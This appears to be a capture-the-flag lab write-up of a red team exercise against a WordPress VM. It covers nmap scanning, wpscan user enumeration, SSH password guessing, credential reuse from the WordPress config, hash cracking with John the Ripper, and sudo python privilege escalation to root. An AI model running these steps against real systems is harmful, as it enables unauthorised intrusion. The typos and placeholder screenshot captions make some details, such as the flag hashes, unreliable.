**Red Team: Summary of Operations**

**Table of Contents**

* Exposed Services
* Critical Vulnerabilities
* Exploitation

**Exposed Services**

Nmap scan results for each machine reveal the below services and OS details:

$ nmap -sV -A 192.168.1.110

Text

Description automatically generated

This scan identifies the services below as potential points of entry:

**Target 1**

* Port 22/tcp open ssh
* Port 80/tcp open http
* Port 110/tcp rcpbind
* Port 139/tcp open netbios-ssn
* Port 445/tcp open netbios-ssn

**Target 1**

* Weak user passwords
* User password hashes not salted – WordPress dbase
* User enumeration – WordPress
* Misconfiguration of User Privileges/privilege escalation

Using the command ***wpscan --url*** [***http://192.168.1.110/wordpress***](http://192.168.1.110/wordpress) ***eu.*** This is known as user enumeration -used by attackers to get usernames of WordPress-sites. Users found were Michael and Steven

A screenshot of a computer

Description automatically generated with medium confidence

**Exploitation**

With Michael as the user name and simple guess of common password was made (user: Michael, password: Michael). This guess was successful using ssh:

ssh [michael@192.168.1.110](mailto:michael@192.168.1.110)

This implies that the password was very weak and possibly, there was no strong password policy put in place.

Text

Description automatically generatedA

Access to var directory and subdirectories was made : cd /var/www/ html

Using the command ***nano service.html,*** flag1 hash value was revealed.

**Flag1 : b9bbcb33ellb80be759c4e844862482d**

**COMMAND:**

* **ssh Michael @192.168.1.110**
* **psword: Michael**
* **cd / to get to root directory**
* **cd /var/www/html**
* **ls -ltr**
* **nano service.html**

OR Alternatively **c*at service.html | grep flag\**** still had the flag1 retrieved

A screenshot of a computer

Description automatically generated

Logged in as Michael, **flag2.txt** was retrieved using directory traversal as in flag1 above

COMMAND:

* **ssh Michael @192.168.1.110**
* **password: Michael**
* **cd /**
* **cd /var/www/**
* **ls -ltr**
* **cat flag2.txt**

Graphical user interface, text

Description automatically generated

Capturing Flag 3: Accessing MySQL database.

With credentials found on wordpress.config, access to mysql database was successful

Graphical user interface, text

Description automatically generated

* **Username: root**
* **Password: R@v3nSecurity**

Commands:

* Mysql -u root -p
* Password: R@v3nSecurity
* Show databases;
* Use wordpress;
* Show tables;
* Select \* from wp\_posts;
* Fag3 hash value: **afc01ab56b50591e7dccf93122770cd2** and Flag4 hash value**: 715dea6c055b9fe3337544932f2941ce**  were all revealed

A screenshot of a computer

Description automatically generated with medium confidence

**FURTHER EXPLOIT FOR FLAG4**

**Inside MYSQL database the content of a table (wp\_users) was displayed to get the password for the users particularly steven.**

Commands:

* Mysql -u root -p
* Password: R@v3nSecurity
* Show databases;
* Use wordpress;
* Show tables;

Select \* from wp\_users

Graphical user interface

Description automatically generated

* **The password hashes for Michael and steven were copied to a text file and brute forced using john the ripper.  
  COMMAN:**
  + **John steven.txt ………..where john is the command and steven.txt the file**

Text

Description automatically generated

**Password revealed as: pink84**

**With this password, access to the target with steven as the user was successful**

* **ssh steven @192.168.1.110**
* **password: pink84**

***checked for privilege escalation***

* **sudo -l**

***used python script to escalate to the root***

* sudo python -c ‘import pty;pty.spawn(“/bin/bash”)’
* cd /root
* ls

Text

Description automatically generated

**FLAG4 revealed**

Text

Description automatically generated